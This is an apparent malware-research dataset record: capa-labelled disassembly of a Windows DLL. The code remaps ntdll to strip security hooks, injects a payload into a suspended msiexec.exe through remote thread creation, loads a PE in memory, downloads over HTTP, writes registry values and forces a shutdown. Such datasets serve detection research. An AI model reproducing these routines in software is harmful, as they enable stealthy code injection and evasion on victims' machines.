joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100052a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.GetModuleInformation
mov esi, eax
push str.PSAPI.DLL
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xc
lea ecx, [ebp - 0x24]
push ecx
push esi
push 0xffffffffffffffff
call eax
mov ebx, dword [ebp - 0x24]
push 0
push 0
push 3
push 0
push 1
push closesocket
push str.c:windows_system32_ntdll.dll
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 0
push 0x1000002
push 0
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0
push 0
push 4
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, dword [ebx + 0x3c]
add edi, ebx
xor edx, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
cmp dx, word [edi + 6]
jae 0x100053df
lea esp, [esp]
movzx eax, word [ebp - 8]
movzx ecx, word [edi + 0x14]
lea eax, [eax + eax*4]
add ecx, edi
lea esi, [ecx + eax*8 + 0x18]
mov ecx, str..text
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10005378
test dl, dl
je 0x10005374
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10005378
add eax, 2
add ecx, 2
test dl, dl
jne 0x10005358
xor eax, eax
jmp 0x1000537d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100053cb
mov ecx, dword [esi + 0xc]
lea edx, [ebp - 4]
push edx
mov dword [ebp - 4], eax
mov eax, dword [esi + 8]
push 0x40
push eax
add ecx, ebx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esi + 8]
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp - 0xc]
push edx
lea edx, [eax + ecx]
push edx
add eax, ebx
push eax
call sub.MSVCR100.dll_memcpy
mov ecx, dword [ebp - 4]
mov edx, dword [esi + 8]
add esp, 0xc
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0xc]
push ecx
push edx
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp ax, word [edi + 6]
jb 0x10005340
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov edx, dword [ebp - 0x18]
push edx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005410
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Get common file path
Inject thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x10016034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x44
xor ebx, ebx
lea eax, [ebp - 0x168]
push ebx
push eax
mov esi, ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea edx, [ebp - 0x120]
push edx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
lea eax, [ebp - 0x168]
push eax
push ebx
push ebx
push 0x214
push ebx
push ebx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor ecx, ecx
push ebx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x13c], 1
mov word [ebp - 0x138], cx
mov dword [ebp - 0x168], 0x44
call esi
test eax, eax
jne 0x1000556f
push 0x103
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x110]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x100054e2
mov ecx, dword [str.msiexec.exe__Puppet]
mov edx, dword [0x100125c8]
mov dword [eax], ecx
mov ecx, dword [0x100125cc]
mov dword [eax + 4], edx
mov edx, dword [0x100125d0]
mov dword [eax + 8], ecx
mov ecx, dword [0x100125d4]
mov dword [eax + 0xc], edx
mov dl, byte [0x100125d8]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x168]
push ecx
push ebx
push ebx
push 0x214
push ebx
push ebx
push ebx
lea edx, [ebp - 0x110]
push edx
push ebx
call esi
test eax, eax
jne 0x1000556f
mov eax, dword [ebp - 0x11c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [ebp - 0x120]
push ecx
call esi
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001015c
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [ebp - 0x120]
push 0x40
push 0x3000
push 0x4da78
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
cmp esi, ebx
je 0x1000555d
mov ecx, dword [ebp - 0x120]
push ebx
push 0x4da78
push edi
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000555d
mov edx, dword [ebp - 0x120]
push ebx
push ebx
push esi
push esi
push ebx
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.1001015c
mov esp, ebp
pop ebp
ret
Function at 0x10005690
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10016034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x14]
push eax
mov esi, ecx
mov byte [ebp - 0x25], 1
mov dword [ebp - 0x14], 0x61766441
mov dword [ebp - 0x10], 0x32336970
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x100125e8
push edi
call ebx
push 0x100125fc
push edi
mov dword [ebp - 0x34], eax
call ebx
push 0x10012614
push edi
mov dword [ebp - 0x38], eax
call ebx
lea ecx, [ebp - 0x2c]
push ecx
push 0x28
mov dword [ebp - 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x34]
test eax, eax
jne 0x1000571c
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001015c
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x20]
neg esi
push edx
sbb esi, esi
push str.SeShutdownPrivilege
and esi, 2
push 0
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], esi
call dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
push 0
push 0
push 0x10
lea eax, [ebp - 0x24]
push eax
push 0
push ecx
call dword [ebp - 0x38]
push 0x1001262c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x1001263c
push eax
call ebx
call eax
test eax, eax
je 0x1000576b
xor bl, bl
jmp 0x1000576e
mov bl, byte [ebp - 0x25]
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x10005783
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.1001015c
mov esp, ebp
pop ebp
ret

Function at 0x100057a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x10016034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000580f
mov edi, edi
lea ecx, [ebp - 0x10c]
push edi
push ecx
call dword [sym.imp.MSVCR100.dll__stricmp]
add esp, 8
test eax, eax
je 0x10005809
lea edx, [ebp - 0x130]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100057e0
jmp 0x1000580f
mov ebx, dword [ebp - 0x128]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.1001015c
mov esp, ebp
pop ebp
ret
Function at 0x10005d40
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push esi
push edi
mov edi, dword [ebp + 8]
movzx eax, byte [edi]
mov esi, ecx
cmp eax, 0xa9
ja case.0x10005d62.2
movzx eax, byte [eax + 0x10005ff4]
jmp dword [eax*4 + 0x10005fa0]
call fcn.100055e0
mov ecx, dword [esi + 4]
mov eax, 0x10006140
call fcn.1000fa60
mov ecx, dword [esi + 0xfb8]
mov dword [esi + ecx*4 + 0x18], eax
inc dword [esi + 0xfb8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
push 1
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
call fcn.1000fa60
mov edx, dword [esi + 0xfb8]
mov dword [esi + edx*4 + 0x18], eax
inc dword [esi + 0xfb8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
jmp 0x10005d76
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
call fcn.1000fa60
mov edx, dword [esi + 0xfb8]
mov dword [esi + edx*4 + 0x18], eax
inc dword [esi + 0xfb8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
jmp 0x10005d76
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
call fcn.1000fa60
mov edx, dword [esi + 0xfb8]
mov dword [esi + edx*4 + 0x18], eax
inc dword [esi + 0xfb8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
jmp 0x10005d76
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
call fcn.1000fa60
mov edx, dword [esi + 0xfb8]
mov dword [esi + edx*4 + 0x18], eax
inc dword [esi + 0xfb8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
jmp 0x10005d76
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
call fcn.1000fa60
mov edx, dword [esi + 0xfb8]
mov dword [esi + edx*4 + 0x18], eax
inc dword [esi + 0xfb8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
jmp 0x10005d76
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
call fcn.1000fa60
mov edx, dword [esi + 0xfb8]
mov dword [esi + edx*4 + 0x18], eax
inc dword [esi + 0xfb8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
jmp 0x10005d76
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
call fcn.1000fa60
mov edx, dword [esi + 0xfb8]
mov dword [esi + edx*4 + 0x18], eax
inc dword [esi + 0xfb8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.100055e0
lea ecx, [edi + 1]
mov eax, 0x10006880
jmp 0x10005d76
lea ecx, [edi + 1]
call fcn.10005830
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea esi, [edi + 1]
call fcn.100060a0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea esi, [edi + 1]
call fcn.100060f0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
movzx esi, byte [edi + 1]
mov ecx, 1
call fcn.10005690
push 0
push esi
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.10005690
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100060a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push str.SYSTEMSetup
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x100060e0
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100060c1
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push esi
push 1
push 0
push str.Host
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x100060f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push str.SYSTEMSetup
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10006130
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10006111
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push esi
push 1
push 0
push str.BITS
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x100065a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x100065b7
xor eax, eax
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
je 0x100065cc
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebx + 0x50]
mov eax, dword [ebx + 0x34]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x10006603
mov ecx, dword [ebx + 0x50]
push 4
push 0x2000
push ecx
push eax
call esi
mov edi, eax
test edi, edi
je 0x100066ba
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov edx, dword [ebx + 0x50]
push 0x1000
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [ebx + 0x54]
push 4
push 0x1000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 8]
mov edx, dword [ebx + 0x54]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 4], eax
push edx
push ecx
push eax
call sub.MSVCR100.dll_memcpy
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 4]
push esi
push ebx
mov dword [esi], eax
push ecx
mov dword [eax + 0x34], edi
call fcn.10006250
mov eax, edi
add esp, 0x18
sub eax, dword [ebx + 0x34]
je 0x10006687
push eax
mov eax, esi
call fcn.100063d0
add esp, 4
push esi
call fcn.10006460
add esp, 4
test eax, eax
je 0x100066b5
push esi
call fcn.10006300
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
add esp, 4
test eax, eax
je 0x100066ca
add eax, edi
je 0x100066b5
push 0
push 1
push edi
call eax
test eax, eax
jne 0x100066c3
call fcn.100067e0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x10], 1
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006a40
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x10016034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.SYSTEMSetup]
mov ecx, dword [0x10012550]
mov edx, dword [0x10012554]
push 0x3f3
mov dword [ebp - 0x400], ecx
mov dword [ebp - 0x404], eax
mov al, byte [0x10012558]
lea ecx, [ebp - 0x3f7]
push 0
push ecx
mov dword [ebp - 0x3fc], edx
mov byte [ebp - 0x3f8], al
call sub.MSVCR100.dll_memset
push 0x100
push 0
push esi
call sub.MSVCR100.dll_memset
add esp, 0x18
cmp dword [0x10016a40], 0
jne 0x10006acb
push 4
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
add esp, 4
test eax, eax
je 0x10006ac4
mov dword [eax], vtable.Cuntil.0
jmp 0x10006ac6
xor eax, eax
mov dword [0x10016a40], eax
push edi
push 0x100
push esi
mov edx, str.Host
lea ecx, [ebp - 0x404]
call fcn.1000fc10
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push esi
call edi
test eax, eax
jne 0x10006afe
push 0x100
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1001015c
mov esp, ebp
pop ebp
ret
Function at 0x10006d90
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001115b
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x10016034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
push edi
push edi
push edi
push 1
push str.HTTPGET
mov esi, ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
cmp ebx, edi
jne 0x10006e02
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.InternetOpen_failed
push ecx
call fcn.10007ed0
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor eax, eax
jmp 0x10006f09
cmp dword [esi + 0x14], 0x10
jb 0x10006e0a
mov esi, dword [esi]
push edi
push closesocket
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, edi
jne 0x10006e3c
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push edx
push ecx
push str.InternetOpenUrlA_failed
push eax
jmp 0x10006deb
mov dword [ebp - 0x418], 0xf
mov dword [ebp - 0x41c], edi
mov byte [ebp - 0x42c], 0
lea ecx, [ebp - 0x430]
push ecx
push 0x400
lea edx, [ebp - 0x410]
push edx
mov dword [ebp - 4], edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
push esi
call edi
test eax, eax
je 0x10006ead
mov eax, dword [ebp - 0x430]
test eax, eax
je 0x10006ead
push eax
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x42c]
call fcn.1000ddb0
lea ecx, [ebp - 0x430]
push ecx
push 0x400
lea edx, [ebp - 0x410]
push edx
push esi
call edi
test eax, eax
jne 0x10006e76
mov eax, dword [ebp - 0x41c]
inc eax
push eax
call fcn.100100bb
add esp, 4
cmp dword [ebp - 0x418], 0x10
mov edi, eax
mov eax, dword [ebp - 0x42c]
jae 0x10006ed4
lea eax, [ebp - 0x42c]
mov edx, edi
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10006ed8
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
cmp dword [ebp - 0x418], 0x10
jb 0x10006f07
mov ecx, dword [ebp - 0x42c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001015c
mov esp, ebp
pop ebp
ret
Function at 0x1000e1c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov eax, dword [0x10016034]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x10016a40], 0
push ebx
push esi
push edi
mov ecx, 0x9b
lea esi, [ebp + 8]
lea edi, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
jne 0x1000e20d
push 4
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
add esp, 4
test eax, eax
je 0x1000e206
mov dword [eax], vtable.Cuntil.0
jmp 0x1000e208
xor eax, eax
mov dword [0x10016a40], eax
push 0
push 0
push 0
lea eax, [ebp - 0x27c]
push 0
mov dword [ebp - 0x28c], 0x1000df50
mov dword [ebp - 0x288], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
lea ecx, [ebp - 0x28c]
push ecx
push 0x1000f9d0
push 0
push 0
mov dword [ebp - 0x280], eax
call dword [sym.imp.MSVCR100.dll__beginthreadex]
mov edx, dword [ebp - 0x280]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x18
push 0xffffffffffffffff
push edx
mov esi, eax
call edi
mov eax, dword [ebp - 0x280]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
push 0xffffffffffffffff
push esi
call edi
push esi
call ebx
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.1001015c
mov esp, ebp
pop ebp
ret 0x26c
Function at 0x1000e2a0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10010fe9
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x10016034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov esi, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], esi
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
push eax
mov dword [ebp - 4], eax
push 4
mov dword [ebp - 0x34], 1
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea eax, [ebp - 0x2c]
push eax
push ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1000e3f0
nop
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp + 8]
jne 0x1000e3dd
mov eax, dword [esi + 4]
lea edx, [ebp - 0x24]
cmp edx, eax
jae 0x1000e38d
mov edx, dword [esi]
lea ecx, [ebp - 0x24]
cmp edx, ecx
ja 0x1000e38d
mov edi, ecx
mov ecx, dword [esi + 8]
sub edi, edx
sar edi, 2
cmp eax, ecx
jne 0x1000e37b
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x1000e415
sub ecx, edx
inc eax
sar ecx, 2
cmp eax, ecx
jbe 0x1000e37b
mov edx, ecx
shr edx, 1
mov ebx, 0x3fffffff
sub ebx, edx
cmp ebx, ecx
jae 0x1000e36a
xor ecx, ecx
jmp 0x1000e36c
add ecx, edx
cmp ecx, eax
jae 0x1000e372
mov ecx, eax
push ecx
call fcn.10006930
mov ebx, dword [ebp - 0x30]
mov eax, dword [esi + 4]
mov edx, dword [esi]
lea edi, [edx + edi*4]
test eax, eax
je 0x1000e3d9
mov ecx, dword [edi]
mov dword [eax], ecx
jmp 0x1000e3d9
mov ecx, dword [esi + 8]
cmp eax, ecx
jne 0x1000e3cd
mov edx, dword [esi]
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x1000e415
sub ecx, edx
inc eax
sar ecx, 2
cmp eax, ecx
jbe 0x1000e3cd
mov edx, ecx
shr edx, 1
mov edi, 0x3fffffff
sub edi, edx
cmp edi, ecx
jae 0x1000e3bf
xor ecx, ecx
jmp 0x1000e3c1
add ecx, edx
cmp ecx, eax
jae 0x1000e3c7
mov ecx, eax
push ecx
call fcn.10006930
mov eax, dword [esi + 4]
test eax, eax
je 0x1000e3d9
mov edx, dword [ebp - 0x24]
mov dword [eax], edx
add dword [esi + 4], 4
lea eax, [ebp - 0x2c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1000e310
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001015c
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x1000e430
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x10016034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000e49f
mov edi, edi
lea ecx, [ebp - 0x10c]
push edi
push ecx
call dword [sym.imp.MSVCR100.dll__mbsicmp]
add esp, 8
test eax, eax
je 0x1000e499
lea edx, [ebp - 0x130]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1000e470
jmp 0x1000e49f
mov ebx, dword [ebp - 0x128]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.1001015c
mov esp, ebp
pop ebp
ret